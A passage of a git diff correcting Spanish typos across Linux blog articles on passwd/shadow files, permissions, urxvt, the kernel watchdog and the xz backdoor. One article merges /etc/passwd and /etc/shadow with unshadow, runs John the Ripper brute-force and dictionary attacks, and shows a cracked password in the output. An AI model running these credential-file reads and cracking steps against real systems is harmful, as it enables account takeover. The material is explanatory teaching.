privilegios. Separado por :, indica respectivamente el nombre del usuario, la clave cifrada, UID, GID, nombre completo del usuario, directorio de trabajo (<emb>/home</emb>) e intérprete usado. Si el campo de contraseña, en lugar de contener la clave cifrada contiene una x indica que la clave se encuentra cifrada en el archivo <emb>/etc/shadow</emb>, dando un mayor grado de seguridad. La sintaxis de passwd es:</p> +<p>El contenido del fichero <emb>/etc/passwd</emb> determina el esqueleto de usuarios del sistema, constituyéndose como la primera línea de defensa del sistema contra accesos no deseados, por lo que debe mantenerse escrupulosamente y libre de errores y fallos de seguridad. En él mantenemos registrados las cuentas de usuarios, así como las claves de accesos y privilegios. Separado por :, indica respectivamente el nombre del usuario, la clave cifrada, UID, GID, nombre completo del usuario, directorio de trabajo (<emb>/home</emb>) e intérprete usado. Si el campo de contraseña, en lugar de contener la clave cifrada contiene una x indica que la clave se encuentra cifrada en el archivo <emb>/etc/shadow</emb>, dando un mayor grado de seguridad. La sintaxis de passwd es:</p> <pre><code>usuario1:FXWUuZ.vwXttg:500:501:usuario pepito:/home/usuario1:/bin/bash</code></pre> <p>Los permisos predeterminados de passwd son 644 y los propietarios son root:root, evitando modificaciones erróneas, de modo que cualquier usuario sólo pueda leer el archivo.</p> <p>Por otro lado, el archivo <emb>/etc/shadow</emb> almacena información sensible de los usuarios; que separados por :, indica respectivamente el nombre del usuario, la clave cifrada, el lastchanged o último cambio de contraseña en días transcurridos desde el 1 de enero de 1970, el mínimo número de días entre cambios de contraseña, el máximo número de días de validez de la cuenta, los días que avisa antes de caducar la cuenta, los días desde que caduca una contraseña para deshabilitar la cuenta y la fecha de caducidad de la cuenta en días transcurridos desde el 1 de enero de 1970. Su sintaxis es:</p> @@ -32,7 +32,7 @@ pwck: sin cambios</code></pre> <h2>Descifrando claves con john</h2> <p>En caso de tener acceso a passwd y shadow, algo que por lo general ya supone un reto debido a la estructura de permisos, podemos unshadow y buscar descifrarla mediante fuerza bruta o diccionario, usaremos john the ripper para ello.</p> <pre><code>unshadow /etc/passwd /etc/shadow > unshadowed</code></pre> -<p>De tal forma que obtenemos las líneas passwd puras, en fusión con los datos necesarios secretos de shadow. De al forma que este nuevo fichero podemos pasarlo a john:</p> +<p>De tal forma que obtenemos las líneas passwd puras, en fusión con los datos necesarios secretos de shadow. De tal forma que este nuevo fichero podemos pasarlo a john:</p> <pre><code>john unshadowed # Fuerza bruta john --incremental unshadowed # Fuerza bruta john --wordlist=diccionario.lst --rules unshadowed # Diccionario @@ -49,7 +49,7 @@ Proceeding with single, rules:Single maria:Passw0rd2233:1006:1006::/home/maria:/bin/bash 1 password hashes cracked, 3 left</code></pre> <h2>Descifrando claves con hashcat</h2> -<p>Hashcat es otra herramienta archi-conocida de craking para una amplia variedad de tipos de hashes de passwords, soportando los algoritmos de hash comunes de GNU/Linux y sus códigos hashcat:</p> +<p>Hashcat es otra herramienta archi-conocida de cracking para una amplia variedad de tipos de hashes de passwords, soportando los algoritmos de hash comunes de GNU/Linux y sus códigos hashcat:</p> <ul> <li>DES (Unix) = 1500</li> <li>MD5 = 0</li> diff --git a/unix-permisos/index.html b/unix-permisos/index.html @@ -29,7 +29,7 @@ <li>El segundo grupo rwx indica los permisos que tienen los usuarios que pertenecen al grupo propietario.</li> <li>El tercer grupo rwx indica los permisos que tienen el resto de usuarios.</li> </ul> -<p>El primer caracter indicará el tipo de archivo, como indicación al usuario, que se catalogan en:</p> +<p>El primer carácter indicará el tipo de archivo, como indicación al usuario, que se catalogan en:</p> <ul> <li>Regular files: -</li> <li>Directory files: d</li> @@ -85,7 +85,7 @@ $ chmod =x nombre_del_fichero # Añade todos los permisos al usuario pero vacía el resto, dejando únicamente permiso de ejecución para otros $ chmod u+rwx,g-rwx,o=x nombre_del_fichero</code></pre> -<p>Esto son sólo 5 ejemplos del uso de chmod en este modo, podemos realizar todas las combinaciones que necesitemos.</p> +<p>Estos son sólo 5 ejemplos del uso de chmod en este modo, podemos realizar todas las combinaciones que necesitemos.</p> <h2>Método de cambio de propietario</h2> <p>Lo más esencial antes de iniciar la manipulación de permisos es gestionar el cambio de propietarios. Como ya se ha adelantado, un fichero tiene un usuario propietario y un grupo propietario. Generalmente por defecto es el creador de dicho fichero o directorio.</p> <p>Usamos la herramienta chown:</p> @@ -124,6 +124,6 @@ result 644 110 100 100 rw-r--r--</code></pre> <pre><code>echo "umask 022" >> ~/.bashrc</code></pre> <p>Y la tercera opción consiste en editar el fichero de configuración /etc/profile, afectando a todos los usuarios.</p> <pre><code>echo "umask 022" >> /etc/profile</code></pre> -<p>Cabe destacar que si que, el sistema (/etc/profile) tiene una máscara de -por ejemplo- 026 y el usuario (.bashrc) de 002 la prioridad del usuario siempre será la de su configuración propia. De hecho su funcionamiento es el siguiente: el usuario busca en su fichero de configuración la línea umask, en caso de no haber busca en el sistema. Por lo que en el caso de no configurar umask en el usuario, la configuración del mismo será la del sistema.</p> +<p>Cabe destacar que si el sistema (/etc/profile) tiene una máscara de -por ejemplo- 026 y el usuario (.bashrc) de 002 la prioridad del usuario siempre será la de su configuración propia. De hecho su funcionamiento es el siguiente: el usuario busca en su fichero de configuración la línea umask, en caso de no haber busca en el sistema. Por lo que en el caso de no configurar umask en el usuario, la configuración del mismo será la del sistema.</p> </body> </html> \ No newline at end of file diff --git a/urxvtd/index.html b/urxvtd/index.html @@ -14,8 +14,8 @@ </header> <p>El emulador de terminal es el programa que proporciona una interfaz de texto que imita el comportamiento de una terminal hardware-física, de tal forma que el usuario interactúe con el sistema operativo mediante la ejecución de comandos. Generalmente, los entornos de escritorio ofrecen su propia versión, vitaminada y adaptada al funcionamiento general del ecosistema gráfico. Así, el vulgo usará las clásicas como la terminal de Gnome o la de KDE.</p> <p>Sin embargo, existen terminales de uso menos frecuente; al menos en un uso más profundo; tanto en recursos del sistema, personalización, eficiencia, velocidad... Que es necesario conocer.</p> -<p>En mi caso concreto, utilizo regularmente xterm, urxvt y st, siendo el segundo el que nos ocupa en éste artículo.</p> -<p>urxvt (ó rxvt-unicode); o en adelante urxvtd como me gusta denominarla, es un emulador de terminal customizable bifurcado de rxvt, añadiendo soporte para extensiones perl. Es uno de los emuladores más conocidos del cosmos Unix, especialmente por en Unixporn por su alta configurabilidad estética. Además, es un emulador muy ligero y muy rápido.</p> +<p>En mi caso concreto, utilizo regularmente xterm, urxvt y st, siendo el segundo el que nos ocupa en este artículo.</p> +<p>urxvt (o rxvt-unicode); o en adelante urxvtd como me gusta denominarla, es un emulador de terminal customizable bifurcado de rxvt, añadiendo soporte para extensiones perl. Es uno de los emuladores más conocidos del cosmos Unix, especialmente por en Unixporn por su alta configurabilidad estética. Además, es un emulador muy ligero y muy rápido.</p> <p>Sin embargo, la característica que me hizo decantarme por ella hace ya varios años, es sin lugar a dudas su capacidad de terminal demonizable.</p> <p>Esto significa que puede correr en modo demonio (daemon), lo que permite compartir una única instancia de terminal entre múltiples ventanas, reduciendo el uso de memoria y mejorando el rendimiento. En palabras más técnicas, ejecutaríamos una instancia o demonio en segundo plano, que serviría como servidor de <emb>urxvtd</emb>, al que los clientes de <emb>urxvtc</emb> se conectan como hijos, en lugar de crear cada uno un nuevo proceso completo de <emb>urxvt</emb>.</p> <p>Ejecutarlo es tan sencillo como usar el comando:</p> @@ -27,7 +27,7 @@ │ ├─urxvtc(5679) │ └─urxvtc(5680)</code></pre> <p>Como terminal íntimamente ligada al servidor X, que sirve como reemplazo de <emb>xterm</emb>, su configuración estética se realiza mediante los ficheros de configuración utilizados por <emb>X Windows System</emb> para definir los recursos y ajustes de las aplicaciones X, es decir, <emb>~/.Xresources</emb> y <emb>~/.Xdefaults</emb>.</p> -<p>De entre ambos, utilizo <emb>.Xresources</emb> por su flexibilidad, ya que permite actualizar configuraciones sobre la marcha sin necesidad de actualizar el servidor; en comparación con <emb>.Xdefault</emb> que es estático. El primero, se carga específicamente mediante el comando <emb>xrdb</emb>, permitiendo una carga condicional y específica de los recursos. Personalmente añado al <emb>.xinitrc</emb>:</p> +<p>De entre ambos, utilizo <emb>.Xresources</emb> por su flexibilidad, ya que permite actualizar configuraciones sobre la marcha sin necesidad de actualizar el servidor; en comparación con <emb>.Xdefaults</emb> que es estático. El primero, se carga específicamente mediante el comando <emb>xrdb</emb>, permitiendo una carga condicional y específica de los recursos. Personalmente añado al <emb>.xinitrc</emb>:</p> <pre><code>xrdb -merge ~/.Xresources</code></pre> <p>Para cargar la configuración. Mientras que si emplease el segundo, se carga automáticamente al iniciar la aplicación X, siendo que no se aplica para las aplicaciones en ejecución; y puede requerir un reinicio de todo el servidor X para que los cambios surtan efecto.</p> <p>He aquí ejemplos de parametrización estética y funcional empleadas por mí:</p><ul> diff --git a/watchdog/index.html b/watchdog/index.html @@ -12,7 +12,7 @@ <p class="title">Síntesis del Linux kernel watchdog</p> <p class="date">12 de junio de 2017 • fjbalon</p> </header> -<p>El watchdog (perro guardían o vigilante) del kernel de Linux se utiliza para monitorizar y vigilar un sistema que se está ejecutando, de forma que pueda ser reiniciado automáticamente en caso de fallo de software irrecuperable.</p> +<p>El watchdog (perro guardián o vigilante) del kernel de Linux se utiliza para monitorizar y vigilar un sistema que se está ejecutando, de forma que pueda ser reiniciado automáticamente en caso de fallo de software irrecuperable.</p> <p>El módulo de watchdog es específico para el hardware o chip que se utiliza.</p> <p>Los usuarios, por norma general, no necesitan de vigilancia en sus sistemas, pues pueden ellos mismos restablecer el sistema manualmente; así está pensado para dispositivos críticos que requieran de restablecimientos sin intervención humana, por ejemplo servidores en una ubicación remota o equipos integrados en naves espaciales.</p> <p>En su intervención es necesario proceder con precaución, ya que configuraciones incorrectas o erróneas podrían provocar:</p> @@ -31,7 +31,7 @@ <li>Intel utiliza <emb>iTCO_wdt</emb>.</li> <li>El hardware de HP utiliza <emb>hpwdt</emb>.</li> <li>Los mainframes de IBM utilizan <emb>vmwatchdog</emb>.</li> -<li>Xen VM utiuliza <emb>xen_wdt</emb>.</li> +<li>Xen VM utiliza <emb>xen_wdt</emb>.</li> </ul> <p>Una vez corroborado la carga del módulo es posible verificar <emb>/dev/watchdog</emb> en el sistema Linux. Si el archivo está presente, significa que se cargó el controlador. El sistema escribe periódicamente a <emb>/dev/watchdog</emb> (esta acción suele llamarse coloquialmente <i>patear o alimentar al perro guardián</i> o <i>kicking or feeding the watchdog</i>). Si el sistema falla y no 'patea' o 'alimenta' al perro, el sistema se restablecerá completamente.</p> <li>Watchdog daemon</li> diff --git a/xz-liblzma/index.html b/xz-liblzma/index.html @@ -21,7 +21,7 @@ <p>«<i>Es sólo un algoritmo de compresión, no se puede usar para explotar la seguridad de un sistema, es imposible</i>» he llegado a leer por feudos del Internet. Pues este backdoor nos ha demostrado que es totalmente posible.</p> <p>Buena noticia, por lo tanto, para Slackware y otras distros no-systemd: hasta donde los expertos en Debian, Fedora, Arch o Ubuntu han llegado, se necesita necesariamente systemd para 'energizar' la puerta trasera, específicamente un gancho utilizado por Debian para construir <emb>openssh</emb> de cierta manera para que <emb>systemd/dbus/sd-bus/sd-notify</emb> ejecute código malicioso para obtener material de un blob de <emb>lzma</emb> para modificar los binarios en ejecución para abrir la puerta trasera. Es una genialidad, se mire por donde se mire. Y los cruzados contra systemd siguen teniendo, pues, razón.</p> <p>Este complejísimo ataque sobre librerías y códigos abiertos -apertura que permite a la comunidad, o a cualquiera que entienda, monitorizar los commits y evolución del código- ha llevado prácticamente 2 años a través de la librería <emb>xz</emb> en Github (llevado a cabo principalmente por la cuenta <i>JiaT75</i> y otras de dudosa legitimidad), para afectar como decíamos a <emb>liblzma</emb>, el vector de ataque. Tenga en cuenta el lector, que esta gran complejidad para insertar un backdoor es precisamente por la naturaleza del código abierto, en código cerrado probablemente otro gallo cantaría, incluso para la detección.</p> -<p>Pero incluso la detección tiene tela: Andres Freund, un trabajador de Microsoft (valga el chiste, salvados por Microsoft, xd) mientras realizaba tests de rendimiento notó que el demonio de SSH tardaba 500ms más de lo habitual... ¡Increible!</p> +<p>Pero incluso la detección tiene tela: Andres Freund, un trabajador de Microsoft (valga el chiste, salvados por Microsoft, xd) mientras realizaba tests de rendimiento notó que el demonio de SSH tardaba 500ms más de lo habitual... ¡Increíble!</p> <pre><cita> After observing a few odd symptoms around liblzma (part of the xz package) on @@ -52,6 +52,6 @@ user 0m0.202s sys 0m0.006s </cita></pre> <anot>Fuente: <a href="https://lwn.net/ml/oss-security/20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de/">https://lwn.net/ml/oss-security/20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de/</a></anot> -<p>Dicen que ejecutando <emb>strings `which xz` | grep "(XZ Utils)"</emb> detectamos si contamos con una versión seguta (&lt;<emb>5.6.0</emb>), pero sólo cerciórese en caso de cumplir los requisitos para haber sido afectado por el backdoor.</p> +<p>Dicen que ejecutando <emb>strings `which xz` | grep "(XZ Utils)"</emb> detectamos si contamos con una versión segura (&lt;<emb>5.6.0</emb>), pero sólo cerciórese en caso de cumplir los requisitos para haber sido afectado por el backdoor.</p> </body> </html> \ No newline at end of file